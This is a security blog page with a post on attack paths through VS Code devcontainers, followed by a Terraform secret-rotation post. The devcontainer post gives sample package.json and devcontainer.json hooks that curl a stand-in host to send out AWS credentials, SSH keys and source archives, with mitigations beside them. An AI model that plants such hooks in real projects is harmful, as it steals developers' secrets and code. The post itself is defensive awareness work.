Skip to main content

2 posts tagged with "security"

View All Tags

Exploiting Visual Studio Code Devcontainers

· 7 min read

To quote Scott Hanselman "Visual Studio Code Remote Development may change everything". They are a great way to build consistent development environments which can massively lower the friction for new people to contribute to a code base.

That said, they do create new paths to exploiting developer's machines and devcontainers are often opaque to existing security scanning tooling. This post is not about a specific vulnerability in devcontainers but more what potential paths to exploitation devcontainers represent.

It is also becoming increasingly common for open source projects to include devcontainer configuration in their projects, acclimatising developers to running new forms of potentially untrusted code on their local machines.

This post focusses on Visual Studio Code Remote Containers that run in Docker on a developers machine.

The risks

Compromising a developer's machine can lead to further compromise. Developer machines will often contain a number of credentials that allow developers to do their work e.g. SSH keys, AWS / GCE / Azure credentials, AD tokens etc. If these credentials are inside the devcontainer they are usually stored in the clear as the devcontainer docker container often does not have access to the host's credential manager.

Developers quite often have elevated access both to their local machines as well as resources on the network making them an attractive target (after sys admins).

Risks as a result of compromising a developer's machine include:

  • Exfiltration of source code
  • Exfiltration or exploitation of developer credentials e.g. SSH Keys, AWS / GCE / Azure credentials etc.
  • Lateral movement inside the network

Running malicious code inside a devcontainer

Your devcontainer is compromised if an attacker can execute malicious code inside it. Here are some of the ways this could happen.

At build or install time#

Running any install or build commands in a code base could result in malicious code being executed e.g.:

  • npm / yarn
  • msbuild
  • mvn / ant / gradle
  • etc.

e.g. in a package.json you could have:

{  "name": "super-useful-open-source-tool",  "scripts": {    // runs after npm install. a smart attacker would obfuscate this a little more    "postinstall": "curl very-innocent.url -d @~/.aws/credentials"  }}

An attacker could also use a supply chain attack via a compromised dependency or use dependency confusion to introduce malicious code when the application is run.

Note, this kind of attack applies to running code outside of the devcontainer too.

How to mitigate
  • Check the build scripts of any untrusted code you install
  • Run dependency scanning tools e.g. npm audit or snyk and address any warnings
  • Make sure your artifact repository is safe from dependency confusion attacks

Untrusted devcontainer images#

Devcontainers allow you to use arbitrary docker images as your development environment. If these have been compromised, it is trivial for attackers to run malicious code inside your devcontainer.

How to mitigate
  • Use signed / trusted docker images only
  • Scan your devcontainer docker images for vulnerabilities

postCreateCommand, postStartCommand, postAttachCommand#

devcontainer.json allows you to configure a number of commands that can run in the devcontainer docker container after the container is created, after the container has started and after Visual Studio Code attaches to the container. These are postCreateCommand, postStartCommand and postAttachCommand respectively.

e.g. a devcontainer.json file with this config this would upload all of the contents of the working directory including local .env, .npmrc files etc. whenever Visual Studio Code attaches to the container.

{    // send all the source inside the devcontainer somewhere. a smart attacker would obfuscate this a little more.    "postAttachCommand": "tar -czvf /tmp/debug.tgz . && curl very-innocent.url --data-binary @/tmp/debug.tgz",}
How to mitigate
  • Check for suspicious scripts in the postCreateCommand, postStartCommand and postAttachCommand configuration in untrusted devcontainer.json files.

Malicious extensions#

Malicious extensions can be used to run arbitrary code in whichever environment Visual Studio Code is running in including devcontainers.

How to mitigate
  • Use trusted extensions only.

Escaping onto the devcontainer host

Devcontainers can offer an additional layer of protection for a developers host machine but a number of common practices can make it easy to read files, write files or execute code on the host machine.

Docker-from-docker#

If your devcontainer does docker-from-docker i.e. where the host docker socket is mounted into the devcontainer, an attacker has almost unfettered access to the host machine e.g. the following devcontainer.json could be used to upload your ssh keys to a remote location even if you're only sharing them into the container via an ssh-agent.

{    "mount": [ "source=/var/run/docker.sock,target=/var/run/docker.sock,type=bind" ],    "postAttachCommand": "chmod a+x /var/run/docker.sock && docker run -v ${localEnv:HOME}:/tmp/home curlimages/curl very-innocent.url -d @/tmp/home/.ssh/id_rsa"}
How to mitigate
  • Don't do docker-from-docker if you can help it.
  • If you do have to run docker-from-docker take all the measures listed in this post to reduce the likelihood that malicious code can't be executed inside the devcontainer.

Docker-in-docker#

Docker-in-docker is another way to run docker inside a docker container. Unfortunately, it requires that you run the container in --privileged mode which also opens your host operating system to attack. This Trend Micro article Why A Privileged Container in Docker Is a Bad Idea describes why privileged containers are problematic.

How to mitigate
  • Don't do docker-in-docker if you can help it.
  • If you do have to run docker-in-docker take all the measures listed in this post to reduce the likelihood that malicious code can't be executed inside the devcontainer.
  • If you only need to build docker images and not run them, consider one of the options listed in this blog post

Mounts#

It's common to mount host machine directories into the devcontainer docker container. Usually this is only the source directory but any path on the host machine could be mounted into the container e.g. the mount in this example is straight from the Microsoft docs on advanced containers which binds a users home directory into the container so it wouldn't look that unusual. Developer home directories often contain things like SSH keys, AWS credentials etc.

The following could upload a developers ssh key on the host to a remote location

{    "mounts": [        "source=${localEnv:HOME}${localEnv:USERPROFILE},target=/host-home-folder,type=bind,consistency=cached"    ],    "postAttachCommand": "curl very-innocent.url -d /host-home-folder/.ssh/id.rsa"}
How to mitigate
  • Check untrusted devcontainer.json files for suspicious mounts
  • Don't mount anything you don't need into the devcontainer
  • Limit the directories that docker will share with any containers

initializeCommand#

initializeCommand inside the devcontainer.json file will run on the host machine e.g. this would upload a developers ssh key on the host machine to a remote location:

{    "installCommand": "curl very-innocent.url -d ${localEnv:HOME}.ssh/id.rsa"}

General devcontainer security precautions

  • Avoid running untrusted devcontainers
  • If you do run untrusted devcontainers e.g. from open source projects, inspect the devcontainer configuration and look out for:
    • malicious commands
    • suspicious dependencies
    • suspicious docker images
    • suspicious mounts
    • suspicious extensions
  • Only mount what you need into the devcontainer docker container
  • Don't use docker-from-docker
  • Update your devcontainer images regularly to pull security patches
  • Run SCA tools against the dependencies inside your devcontainers
  • Scan your devcontainer docker images
  • Only use trusted devcontainer docker images

Update

The latest version of Visual Studio Code now shows this warning when opening a new folder.

visual studio code warning

Safely rotate secrets with terraform

· 2 min read

Rotating secrets is a Good Thing™ as it limits the length of a time a compromised set of credentials can be used for.

It's quite difficult to make secret rotation atomic i.e. changing a secret in your identity provider at exactly the same time you change the secret in the system that uses it for authentication. Mismatches between the values will result in authentication failures.

The ideal is where the identity provider supports multiple valid secrets for a single identity e.g. Azure Service Principals. If that's the case, you can have 2 secrets active at the same time and rotate them on offset time periods e.g.:

password rotation

info

This example uses secrets that expire after 60 days and rotates them each month. The mechanism supports rotating secrets more frequently so pick an expiry window that meets your risk appetite. The limiting factor is often when infrastructure needs to be redeployed after a secret is rotated.

In the terraform below, I've set up 2 passwords, one called even and one called odd.

The odd password rotates at the beginning of the odd months and is the current password for those months i.e.:

  • January, March, May, July, September, November

And the even password rotates at the beginning of the even months and is the current password for those months i.e.:

  • February, April, June, August, October, December

And now for the terraform:

variable "date" {    type = string}
locals {  date        = tonumber(var.date)  odd_keeper  = floor((local.date + 1) / 2)  even_keeper = floor(local.date / 2)  use_even    = local.date % 2 == 0}
resource "random_password" "odd" {  keepers = {    "date" = local.odd_keeper  }  length           = 64  special          = true}
resource "random_password" "even" {  keepers = {    "date" = local.even_keeper  }  length           = 64  special          = true}
# this example just outputs the password# but you'd typically use this as a property of# the system(s) that need the password.output "current_secret" {    value = local.use_even                 ? random_password.even.result                 : random_password.odd.result}

For this to work, you need to supply a date variable when you call terraform that contains the current year and month e.g.:

terraform apply -auto-approve -var="date=`date +%Y%m`"
caution

Terraform will store these secrets in terraform state, so make sure you're using a backend that is appropriately secured.